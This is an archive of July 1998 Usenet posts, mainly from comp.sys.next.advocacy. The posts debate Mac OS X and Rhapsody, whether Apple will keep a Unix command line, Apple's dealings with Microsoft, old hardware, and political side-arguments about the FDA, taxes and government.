"... and subpoenas for all." - Ken Starr
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Free (Microsoft Delays Win NT)
Newsgroups: comp.sys.next.advocacy
References: <359A90F9.A546707D@alum.mit.edu> <359BB732.66127BE@exu.ericsson.se> <joe.ragosta-0207981315530001@wil82.dol.net> <359BF904.AB972774@exu.ericsson.se> <joe.ragosta-0207981946550001@elk59.dol.net> <6nisor$hs6$1@camel21.mindspring.com> <slrn6prd12.ovd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <359DE494.B5F41988@nstar.net> <1dbndwa.gvcd5ht4ekf6N@hoorn17.multiweb.net> <359E65C0.77C48BC9@nstar.net> <slrn6pvrbk.22l.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35A00B2F.4CBF5DDC@nstar.net>
Message-ID: <35a54911.0@news.depaul.edu>
Date: 9 Jul 98 22:49:53 GMT
Michael Peck <mjpeck@nstar.net> wrote:
> What does thermal equilibrium have to do with what I said? The laws of
> thermodynamics specifically state that sign on the progression of order
> (as a function of time) is negative. They say nothing about what it
> means to actually exist at a thermal equilibrium: they specifically
> state that where there is *no* thermal equilibrium, all transfers of
> energy involve a "cut off of the top", so to speak.
The laws of thermodynamics assume a closed system.
> More to the point, they demonstrate that the concept of entropy is
> universal. Physics of every stripe have failed to demonstrate a single
> "natural" order-increasing force or phenomenon, which is why physics of
> every stripe have failed to come up with an explanation for any process
> involving increased order. Such processes (when observed) are commonly
> known as the "supernatural" or "religion" in the annals of science.
I don't think there are any problems explaining the formation of
snowflakes without invoking supernatural causes. Or planets,
for that matter.
--
"... and subpoenas for all." - Ken Starr
From: bgrubb@zianet.com (Bruce L. Grubb)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 09 Jul 1998 15:58:35 -0600
Organization: Southwest Cyberport
Distribution: world
Message-ID: <bgrubb-0907981558360001@lc172.zianet.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6o32lm$ss4$1@nnrp1.dejanews.com> <rmcassid-0907981204040001@dante.eng.uci.edu> <6o36p0$oa7@eccws1.dearborn.ford.com> <6o3cds$jrg$2@camel19.mindspring.com>
In article <6o3cds$jrg$2@camel19.mindspring.com>, Matthew Cromer
<matthew_cromer@iname.com> wrote:
>Lawson, Apple is such a bunch of scum, if they really gave a hoot they
>would port MacOS X to the Apple II platform.
>
>I can't imagine why they won't do that.
There are host of logical reasons. The most logical one is the hardware
is simply too old to support all the features MacOS X especially given
that the code is PPC native not whatever CPU the Apple II used.
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
Date: Thu, 09 Jul 1998 22:20:41 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6o3fnp$n72$1@nnrp1.dejanews.com>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <3599148B.1B14@exu.ericsson.se> <6nakg1$r2h$15@ns3.vrx.net> <6o2e5p$q2u$1@news.cs.tu-berlin.de> <1dbwpln.1hul373c7z78eN@dialup207-3-17.swipnet.se> <6o32eu$ljg1@odie.mcleod.net>
In article <6o32eu$ljg1@odie.mcleod.net>,
"Michelle L. Buck" <buck.erik@mcleod.net> wrote:
> Static/strong typing and LATE binding or not the same issue. Objective-C
> and Java both use late binding and both support static/strong typing
> although it is optional in Objective-C.
Actually, link time binding is called late binding. What you are refering to
as late binding is actually dynamic binding.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 10 Jul 1998 00:04:08 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6o3lpo$bos$1@camel19.mindspring.com>
References: <359A90F9.A546707D@alum.mit.edu> <35A545DD.567CAFC@ericsson.com> <35a547d8.0@news.depaul.edu> <35a54911.0@news.depaul.edu>
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In article <35a5371d.0@news.depaul.edu> Jonathan W Hendry,
jhendry@shrike.depaul.edu writes:
>Doubtful. Reagan seems to be benefiting from the same beatification
>and myth-making which normally happens posthumously.
>
>There's also that annoying tendency for the right to simutaneouly
>tout smaller government and more intrusive government. It tends
>to work out to less regulation for business, but more restrictions
>on the individual.
Ronald Reagan was an imperfect man and president. Lord knows I know that.
Nonetheless, I believe he actually wanted less government in people's
lives. And I believe he would say that government is an encroaching
threat to civil society--in fact he did say such things.
In start contrast to George Bush and every other president in living
memory.
Matthew Cromer
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy,talk.politics.libertarian
Subject: Re: Microsoft Delays Win NT
Date: 10 Jul 1998 00:08:28 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6o3m1s$54g$1@camel19.mindspring.com>
References: <359A90F9.A546707D@alum.mit.edu> <35A545DD.567CAFC@ericsson.com> <35a547d8.0@news.depaul.edu> <35a54911.0@news.depaul.edu>
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In article <6o3fak$13e$3@news.spacelab.net> Charles W. Swiger,
chuck@codefab.com writes:
>Ever drive on the interstate highway system?
Yes. So what?
Are you claiming that private transportation provision would have been
less efficient, cost more, or would be in some way inferior to the
Federal Highway Program (consistently rated the most pork-laden segment
of government outside of defense contracts).
>
>Ever eat food or use prescription drugs? (The FDA makes mistakes once in a
>great while, agreed, but it does pretty well making sure that people don't
>get sick or die from such things.)
Yeah. Right. 100,000 dead while the FDA hamstrung doctors attempts to
introduce beta-blockers and save lives. 10 years after europe we got
them, after 100,000 people died who should be alive even today.
Thanks, I'll make my own health decisions. I don't need mommy government
looking out for me.
And you didn't mention the war on drugs, conducted under FDA statute.
Matthew Cromer
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 10 Jul 1998 00:08:27 GMT
Organization: University of California at San Diego
Message-ID: <slrn6qamrq.ojd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <6n6a2e$21s$1@news.cmc.net> <markeaton-0307982233040001@user-38ld65c.dialup.mindspring.com> <6noi5p$2qg$1@news.cmc.net> <1dbual6.1dg6va4fd3yjwN@carina22.wco.com>
On Wed, 8 Jul 1998 23:09:19 -0700, Mike Paquette <mpaque@wco.com> wrote:
:'Porting' any missing BSD 4.4 commands is mostly a matter of typing
:'make' and waiting an hour. Making the Installer package and
:installation notes will take longer. I bet I can find a set that's
:100% compatable with Rhapsody 1.0.
How is 'make' going to work if make, /bin/csh, /bin/sh, cat, et cetera
are not part of MacOS X user? If ftpd doesn't exist? If inetd isn't
accepting connections? What are those "command lines" in
/etc/inetd.conf going to mean without a shell?
That's the real problem. Terminal.app is just an app; nobody is
worried about that.
They are worried that all sorts of useful regular Unix tools which
often function as infrastructure will be missing. And if there isn't
an official distribution, there will be many chaotic and screwed up
and mostly working but slightly buggy and incompatible tarballs of
annoying junk. (Oh sorry, I forgot, no tar--- StuffItBalls of
annoying junk).
I say, tell the chicken littles that all these scary "Unix things" are
just another programmer's API, one which communicates via asynchronous
pipes and streams instead of subroutine calls.
:--
: Mike Paquette mpaque@wco.com
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 10 Jul 1998 00:11:04 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6o3m6o$54g$2@camel19.mindspring.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <kindall-0907981808510001@nic-c41-094.mw.mediaone.net> <smileyy-0907981834120001@cin-oh2-25.ix.netcom.com>
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In article <bgrubb-0907981558360001@lc172.zianet.com> Bruce L. Grubb,
bgrubb@zianet.com writes:
>>Lawson, Apple is such a bunch of scum, if they really gave a hoot they
>>would port MacOS X to the Apple II platform.
>>
>>I can't imagine why they won't do that.
>
>There are host of logical reasons. The most logical one is the hardware
>is simply too old to support all the features MacOS X especially given
>that the code is PPC native not whatever CPU the Apple II used.
Sorry Bruce, I couldn't imagine anyone would take that post seriously.
Matthew Cromer
Subject: Re: Free (Microsoft Delays Win NT)
Newsgroups: comp.sys.next.advocacy
References: <359A90F9.A546707D@alum.mit.edu> <359A9359.984C1A9D@exu.ericsson.se> <6ne590$238@shelob.afs.com> <359AA759.223E97B4@exu.ericsson.se> <6neblu$2hd@shelob.afs.com> <359B23CC.8672B274@trilithon.com> <joe.ragosta-0207980828430001@wil46.dol.net> <359B92BB.8BCF78CC@nstar.net> <joe.ragosta-0207981153310001@wil55.dol.net> <359BB732.66127BE@exu.ericsson.se> <joe.ragosta-0207981315530001@wil82.dol.net> <359BF904.AB972774@exu.ericsson.se> <joe.ragosta-0207981946550001@elk59.dol.net> <6nisor$hs6$1@camel21.mindspring.com> <slrn6prd12.ovd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <359DE494.B5F41988@nstar.net> <1dbndwa.gvcd5ht4ekf6N@hoorn17.multiweb.net> <359E65C0.77C48BC9@nstar.net> <6nrjao$bnb$1@news.spacelab.net> <35A18478.E8BE0DFD@nstar.net> <6o0b9j$nij$1@news.spacelab.net> <35A407FC.2184A3B4@ericsson.com> <syWo1.2965$24.17285705@news.itd.umich.edu> <35A43B75.726FC058@nstar.net>
In-Reply-To: <35A43B75.726FC058@nstar.net>
From: not@my.address.net
Message-ID: <I2dp1.3109$24.18003053@news.itd.umich.edu>
Date: Fri, 10 Jul 1998 00:15:36 GMT
NNTP-Posting-Date: Thu, 09 Jul 1998 20:15:36 EDT
On 07/08/98, Michael Peck wrote:
... quoting me ...
>>
>> Why this dichotomy: infallible or irrational? If I wake up and notice that
>> the streets are wet, it's not irrational to infer that it rained last night.
>
>My point exactly. You were (presumably) rational, but your evidence was
>unsound and incomplete.
>
>> That
>> the streets are wet gives one reason for thinking that it rained even though
>> it's possible that it did not. Being rational is a matter of having beliefs
>> that track the available evidence; no more, no less.
>
>No, being rational is drawing not incorrect conclusions from the
>available data during the decision-making process. The fact that your
>ability to collect evidence is finitely bounded, grossly incomplete, and
>generally faulty in the first place makes "rational" decision-making on
>human evidence correct usually only by accident.
>
You mean, if I infer that it rained because the streets are wet, and it did
rain, I'm drawing a correct conclusion "by accident"? Much like someone who
goes "eeny meeny miny moe" might get it right "by accident"?
I'd be happy to talk about this point in your idiolect, so long as I knew how
you wanted to label the distinction between tracking the available evidence and
making a lucky guess. But however you want to label that distinction, the claim
is that the norm for science is that beliefs should track the available
evidence. And that is not the norm for religion. And that's the difference
between the two.
--
invert: umich.edu jdevlin
insert: shift "2"
From: stwillis@ews.uiuc.edu (willis sean timothy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 10 Jul 1998 01:54:09 GMT
Organization: University of Illinois at Urbana-Champaign
Message-ID: <6o3s81$1k6$1@vixen.cso.uiuc.edu>
References: <kindall-0907981344480001@nic-c41-094.mw.mediaone.net> <B1CA83C4-12781@206.165.43.167>
COMP.MAC.SYSTEM trimmed
Lawson English (english@primenet.com) wrote:
: But what about when you try to SELL your 7500? Who will buy it and what new
: owner of your old machine will trust Apple to continue to make a decent OS
: for older machines when they've abandoned a 4-year-old machine?
MacOS 8.5---> MacOS 9.x
Not exactly abandoned.
Try running NT on a 486 66Mhz. I didn't think so.
sean
--
Sean Willis : stwillis@uiuc.edu
Aero/ Astro Engineering : http://www.uiuc.edu/ph/www/stwillis
University of Illinois @ Urbana : "When my hand slipped, she looked at
U.S. Presidential Candidate, 2012 : me, and she sang this song...."
-The Dirty Dozen
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Followup-To: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Date: 10 Jul 1998 01:58:40 GMT
Organization: University of Maryland, College Park
Distribution: world
Message-ID: <6o3sgg$lrl$1@hecate.umd.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6o32lm$ss4$1@nnrp1.dejanews.com> <rmcassid-0907981204040001@dante.eng.uci.edu> <6o36p0$oa7@eccws1.dearborn.ford.com> <6o3cds$jrg$2@camel19.mindspring.com> <bgrubb-0907981558360001@lc172.zianet.com>
Bruce L. Grubb (bgrubb@zianet.com) wrote:
: In article <6o3cds$jrg$2@camel19.mindspring.com>, Matthew Cromer
: <matthew_cromer@iname.com> wrote:
: >Lawson, Apple is such a bunch of scum, if they really gave a hoot they
: >would port MacOS X to the Apple II platform.
: >
: >I can't imagine why they won't do that.
: There are host of logical reasons. The most logical one is the hardware
: is simply too old to support all the features MacOS X especially given
: that the code is PPC native not whatever CPU the Apple II used.
Hardware independence has always been one of the matras of NeXTStep/
OpenStep theoretically, if someone wanted to port Mach to the MOS 6502
processor, then Apple can port MacOS X to the Apple II platform,
although the 48K to 64K RAM restriction might be a bit stringent.
From: etomlins@rohan.sdsu.edu (tomlinson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 10 Jul 1998 02:28:20 GMT
Organization: San Diego State University
Message-ID: <6o3u84$m8f$1@hole.sdsu.edu>
References: <kindall-0907981344480001@nic-c41-094.mw.mediaone.net> <B1CA83C4-12781@206.165.43.167> <6o3s81$1k6$1@vixen.cso.uiuc.edu>
willis sean timothy (stwillis@ews.uiuc.edu) wrote:
: Try running NT on a 486 66Mhz. I didn't think so.
(Hertz is "Hz", not "hz".)
I've done that. It worked OK, so long as you threw enough memory at it.
(That's the chief problem with these Microsoft operating systems. The
speed with which they run seems to be about proportional to the number
of megabytes of installed RAM.) Linux, with XFree86, worked even
better. Even now I'm only up to a 120 MHz K5 and have no need for
anything faster.
The 486 as a "workhorse" has had an exceptionally long useful life.
It's certainly a lot more useful than, say, a Quadra 650 or other
68040. Try running System 8 on a 68040 33 MHz.
-tomlinson
--
Ernest S. Tomlinson - San Diego State University
From: Kristofer Jon Magnusson <kris@xmission.xmission.com>
Newsgroups: comp.sys.next.advocacy
Subject: The price of the Microsoft deal?
Date: 10 Jul 1998 02:57:06 GMT
Organization: XMission (801 539 0852)
Message-ID: <6o3vu2$m80$1@news.xmission.com>
NNTP-Posting-Date: 10 Jul 1998 02:57:06 GMT
User-Agent: tin/pre-1.4-980618 (UNIX) (SunOS/5.5.1 (sun4m))
I was first angry, then befuddled when I learned that Apple no longer had
any plans for an Intel-based OS after Rhapsody 1.0 nee MacOS X for Server.
Bringing the benefits of a MacOS interface and an NT-beating core OS to
the unwashed Intel-based masses seemed like such a great idea.
Did back-room wheeling and dealing to keep Office on MacOS prematurely end
the life of the MacOS on Intel? Certainly Microsoft had to be more than a
little worried at the prospect of a really good Unix-compatible OS
combined with a really good Windows-killing user experience blowing NT 5.0
and its enterprise pretensions out of the market.
C.f. http://www.news.com/News/Item/0,4,23986,00.html?st.ne.fd.gif.e
Dwight Davis, an analyst who follows Microsoft
at Summit Strategies, said:
"Now that Apple has decided to fold its Rhapsody
operating system into its Mac OS line, thereby
eliminating the possibility of competing against
Windows NT, . . the partnership is on firm
footing."
Was there a quid pro quo? Where are the Bay Area equivalents of Woodward
and Bernstein when you need them? =)
....... kris
--
Kristofer Jon Magnusson <kris@xmission.com>
"NASA and its partners have identified vacuum
as a major attribute of space."
Message-ID: <35A54629.D098D760@unet.univie.ac.at>
Date: Fri, 10 Jul 1998 00:37:29 +0200
From: Christian Benesch <a9226931@unet.univie.ac.at>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: Free (Microsoft Delays Win NT)
References: <359A90F9.A546707D@alum.mit.edu> <359A9359.984C1A9D@exu.ericsson.se> <6ne590$238@shelob.afs.com> <359AA759.223E97B4@exu.ericsson.se> <6neblu$2hd@shelob.afs.com> <359B23CC.8672B274@trilithon.com> <joe.ragosta-0207980828430001@wil46.dol.net> <359B92BB.8BCF78CC@nstar.net> <joe.ragosta-0207981153310001@wil55.dol.net> <359BB732.66127BE@exu.ericsson.se> <joe.ragosta-0207981315530001@wil82.dol.net> <359BF904.AB972774@exu.ericsson.se> <joe.ragosta-0207981946550001@elk59.dol.net> <6nisor$hs6$1@camel21.mindspring.com> <slrn6prd12.ovd.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <359DE494.B5F41988@nstar.net> <1dbndwa.gvcd5ht4ekf6N@hoorn17.multiweb.net> <359E65C0.77C48BC9@nstar.net> <6nrjao$bnb$1@news.spacelab.net> <35A18478.E8BE0DFD@nstar.net> <6o0b9j$nij$1@news.spacelab.net> <6o0egj$nqg$1@news.spacelab.net> <35A3D7D2.102B8996@ericsson.com>
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Michael Peck schrieb:
<huge SNIP>
> > And, at least to him, his own existence was self-demonstrating by virtue of
> > the fact that "cognito ergo sum".
>
> Thanks. Without the Latin, something was really missing. I'm glad you
> elevated the conversation thus without having to actually say anything
> of consequence.
>
<gargantuan SNIP>
On top of that it's actually: "Cogito ergo sum"
Please,don't kill me for being pedantic.
Christian Benesch
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 10 Jul 1998 03:48:37 GMT
Organization: The World's Usenet -- http://www.Supernews.com
Message-ID: <6o42ul$cqn$2@supernews.com>
References: <359A90F9.A546707D@alum.mit.edu> <35A4DC62.536B8581@nstar.net>
<6o2qdi$lkg@newsb.netnews.att.com> <35A4FA60.FF826332@ericsson.com>
<6o2v1s$m99@newsb.netnews.att.com> <35A5140D.F96A1F3F@ericsson.com>
<6o3fak$13e$3@news.spacelab.net>
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Cc: chuck@codefab.com
"Charles W. Swiger" may or may not have said:
-> Michael Peck <Michael.Peck@ericsson.com> wrote:
-> [ ... ]
-> >Ah, but now the question is a question of evidence, since the
-> >rationality of my conclusions is not in question. I have never been able
-> >to produce evidence that government is useful; your evidence may vary.
->
-> Assuming you live in the USA:
->
-> Ever drive on the interstate highway system?
There is an implied premise here, that if something is done by government
today, that only government can do it. There were roads before the
interstate system, you know.
-> Ever eat food or use prescription drugs? (The FDA makes mistakes once in
a
-> great while, agreed, but it does pretty well making sure that people don't
-> get sick or die from such things.)
You are mistaken.
The FDA kills thousands of people every year by keeping medicines off the
market for decades, even after they are tested and approved in other
countries.
I have some direct experience with the FDA approval process, and it's pretty
sickening, to say the least. A device I worked on for Karyotyping (used in
Oncology) cold have cost about $25K, but compliance with FDA regulations
pushed its cost into six figures. One of all the factors contributing to
spiralling health-care costs in the USA, I would name the FDA as the biggest
single culprit.
-jcr
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: The price of the Microsoft deal?
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <6o3vu2$m80$1@news.xmission.com>
Message-ID: <5agp1.132703$Kx3.31997566@news.rdc1.sdca.home.com>
Date: Fri, 10 Jul 1998 03:48:17 GMT
NNTP-Posting-Date: Thu, 09 Jul 1998 20:48:17 PDT
Organization: @Home Network
In <6o3vu2$m80$1@news.xmission.com> Kristofer Jon Magnusson wrote:
> I was first angry, then befuddled when I learned that Apple no longer had
> any plans for an Intel-based OS after Rhapsody 1.0 nee MacOS X for Server.
> Bringing the benefits of a MacOS interface and an NT-beating core OS to
> the unwashed Intel-based masses seemed like such a great idea.
>
> Did back-room wheeling and dealing to keep Office on MacOS prematurely end
> the life of the MacOS on Intel? Certainly Microsoft had to be more than a
> little worried at the prospect of a really good Unix-compatible OS
> combined with a really good Windows-killing user experience blowing NT 5.0
> and its enterprise pretensions out of the market.
>
> C.f. http://www.news.com/News/Item/0,4,23986,00.html?st.ne.fd.gif.e
>
> Dwight Davis, an analyst who follows Microsoft
> at Summit Strategies, said:
>
> "Now that Apple has decided to fold its Rhapsody
> operating system into its Mac OS line, thereby
> eliminating the possibility of competing against
> Windows NT, . . the partnership is on firm
> footing."
>
> Was there a quid pro quo? Where are the Bay Area equivalents of Woodward
> and Bernstein when you need them? =)
>
> ....... kris
>
>
Kris... in the final analysis I came to the conclusion that Apple decided
that it wasn't in the network business. The business model necessary to
support network product and the consultancy which accompanies the business
are not an Apple strength. This I believe is why we've witnessed WebObjects
come to the fore as a possible spinoff.
Old-timer's will just have to wait and see if the MaXOS will have enough of
the *magic* leftover from its heritage to justify starting a
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 10 Jul 1998 04:32:59 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6qb6br.o2v.sal@panix3.panix.com>
References: <359A90F9.A546707D@alum.mit.edu> <35A4DC62.536B8581@nstar.net> <6o2qdi$lkg@newsb.netnews.att.com> <35A4FA60.FF826332@ericsson.com> <6o2v1s$m99@newsb.netnews.att.com> <35A5140D.F96A1F3F@ericsson.com> <6o3fak$13e$3@news.spacelab.net> <35A545DD.567CAFC@ericsson.com>
On Thu, 09 Jul 1998 17:36:13 -0500, Michael Peck <Michael.Peck@ericsson.com> wrote:
>Ever had a relative who died because the FDA make it illegal to procure
>the life-saving cure (in common use in Europe, of course)?
Are you aware that most of Europe has <dramatic chord> socialized health
care </dramatic chord> with universal coverage. The FDA vs Europe does
little to promote your views.
--
sal@panix.com
Salvatore Denaro
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 10 Jul 1998 05:27:21 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6qb9hp.o2v.sal@panix3.panix.com>
References: <359A90F9.A546707D@alum.mit.edu> <35A5140D.F96A1F3F@ericsson.com> <6o349q$dt7$3@lwnws01.ne.highway1.com> <35A51590.E1CBC9A1@ericsson.com> <6o3c3d$42v$1@camel19.mindspring.com>
On 9 Jul 1998 21:18:37 GMT, Matthew Cromer <matthew_cromer@iname.com> wrote:
>Obviously that is one way to avoid it, but why does a government have the
>right to a cut of the take every time two people decide to exchange value
>for value?
Not every time. Just for those transactions that have been taxed by ELECTED
officials. If you don't like what your congressman votes for, then vote him
out.
>>>Explain why sales and other taxes are
>>>moral.
>>Define "moral". Why are taxes morally wrong? (Hint: morals are subjective)
>Moral, 3rd meaning from the Mirriam-Webster dictionary
> c : conforming to a standard of right behavior
>You seem to be saying that right and wrong are subjective--I
>wholeheartedly disagree.
I think it is morally correct to have universal health care for all people
in a society, irregardless of that persons ability to pay. Since morals are
not subjective then obviously you agree?
>>So move to a community where the schools teach what you consider "moral"
>>last time I checked, home schooling was legal and the government provides
>>vouchers (in some states, IIRC) to pay some of the expenses incurred in
>>home schooling.
>Since I believe in individual rights, including property rights, and not
>"community rights", I really don't find the "community" to have any
This sounds like "mob rule" to me.
--
sal@panix.com
Salvatore Denaro
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 10 Jul 1998 04:44:29 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6qb71d.o2v.sal@panix3.panix.com>
References: <359A90F9.A546707D@alum.mit.edu> <35A5140D.F96A1F3F@ericsson.com> <6o349q$dt7$3@lwnws01.ne.highway1.com> <35A51590.E1CBC9A1@ericsson.com> <6o39o5$5jj$1@camel15.mindspring.com>
On 9 Jul 1998 20:38:29 GMT, Matthew Cromer <matthew_cromer@iname.com> wrote:
>But the point is, temp is not some terrible thing and that anyone who
>works for a temp. agency is being given the short end.
Are you aware that UPS tried to "downsize" hundred of workers are replace
them with temps? Are you aware that many of the "temps" were downsized UPS
workers who were being rehired at less pay and no benifits?
Many (if not most) temps are being given the short end. Few get health care,
something that we as a society have a moral obligation to provide to all
members of our society. I would gladdly pay 5% to 10% more in taxes to know
that everyone in the US who is sick will get the care they need.
--
sal@panix.com
Salvatore Denaro
From: craigm@gdi.net (Craig Morehouse)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 10 Jul 1998 05:35:15 GMT
Organization: Global Datalink, Inc.
Message-ID: <6o496j$21g@news.gdi.net>
References: <kindall-0907981344480001@nic-c41-094.mw.mediaone.net> <B1CA83C4-12781@206.165.43.167>
<6o3s81$1k6$1@vixen.cso.uiuc.edu> <6o3u84$m8f$1@hole.sdsu.edu>
Mime-Version: 1.0
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Cc: etomlins@rohan.sdsu.edu
In <6o3u84$m8f$1@hole.sdsu.edu> tomlinson wrote:
> willis sean timothy (stwillis@ews.uiuc.edu) wrote:
>
[snip]
>
> The 486 as a "workhorse" has had an exceptionally long useful life.
> It's certainly a lot more useful than, say, a Quadra 650 or other
> 68040. Try running System 8 on a 68040 33 MHz.
>
> -tomlinson
>
Nay, nay, nay, lad;'tis not the truth thou speakest here.
I've got a Quadra 650 running here beside my NeXT Turbo. The beastie has
12,000 hours on it, and my bet is that it will outlive us both. It's running
System 7.6.1, not System 8.x. However, that's my choice. I removed System 8
even from my 8500 with 4 gig drive, 196 megs of RAM and 21" Nanao monitor.
CPU speed had nothing to do with it. The 650 ran it just fine. I just had no
need for anything System 8 offered me when it came out.
You picked the wrong machine to rag on. The Quadra 650, much like the 7100
that succeeded it in the same case, was one of the last of the truly rugged
personal computers. In three years of doing Mac Service, I never saw a Q650
fail in the field. I know that replacement cost of most Mac motherboards from
the Plus on up, but I truly don't know what a replacement Q650 board costs
because I never even needed to price one.
We won't see that kind of quality again because it's not cost-effective to
build that kind of machine anymore. Even Sun has gone to cheap IDE drives and
PCI Video cards. Heavy-duty, custom-built, multi-layered motherboards are
things of the past, for Apple and everyone else.
Congratulations on your 486's endurance. If it lives as long as a Quadra
650, it's a fine machine.
Best of luck to you.
CAM
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy,talk.politics.libertarian
Subject: Re: Microsoft Delays Win NT
Date: 10 Jul 1998 04:52:16 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6o46m0$2tk$1@camel0.mindspring.com>
References: <359A90F9.A546707D@alum.mit.edu> <I2dp1.3109$24.18003053@news.itd.umich.edu> <35A54629.D098D760@unet.univie.ac.at> <6o42ul$cqn$2@supernews.com>
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In article <6o42ul$cqn$2@supernews.com> John C. Randolph,
jcr.remove@this.phrase.idiom.com writes:
>One of all the factors contributing to
>spiralling health-care costs in the USA, I would name the FDA as the biggest
>single culprit.
>
>-jcr
>
We also have the massive prevalence of third-party payer largely caused
by the byzantine tax code and its preference for benefits over salary,
and of course the medical guild known as the AMA that gets monopoly
control over health care delivery thanks to government interference in
the health care market.
Matthew Cromer
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 10 Jul 1998 05:12:51 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6qb8mj.o2v.sal@panix3.panix.com>
References: <Pine.OSF.3.92.980706140111.28270C-100000@pigeon.qut.edu.au> <1998070614244200.KAA08039@ladder03.news.aol.com> <slrn6q2sji.osk.sal@panix3.panix.com> <6o0euc$32e5@onews.collins.rockwell.com> <slrn6q8mpg.399.sal@panix3.panix.com> <6o33u6$dt7$2@lwnws01.ne.highway1.com>
On 9 Jul 1998 18:59:18 GMT, John Kheit <jkheit@mediaone.net> wrote:
>sal@panix3.panix.com (Salvatore Denaro) wrote:
>> MacOS customers do _not_ want a CLI.
>Yea, and listenting to those geniuses has lead apple to monumental
>failure after failure.
Ignoring them has also lead Apple to monumental failures.
The impression I got from Apple at a WebObjects user meeting I attened is
that Apple has no plans to remove Unix from MacOSX, but they want to make
sure that it isn't seen as a Unix system by the casual user.
To paraphrase an Apple developer I spoke with "If you want zero Unix you
will get zero Unix. If you want total Unix you will get total Unix." That
statement was so clear and so direct that I had to double check his ID to
make sure he was really an Apple employee...
--
sal@panix.com
Salvatore Denaro
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Fri, 10 Jul 1998 01:46:57 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35A5B8E1.BCEB0C3B@nstar.net>
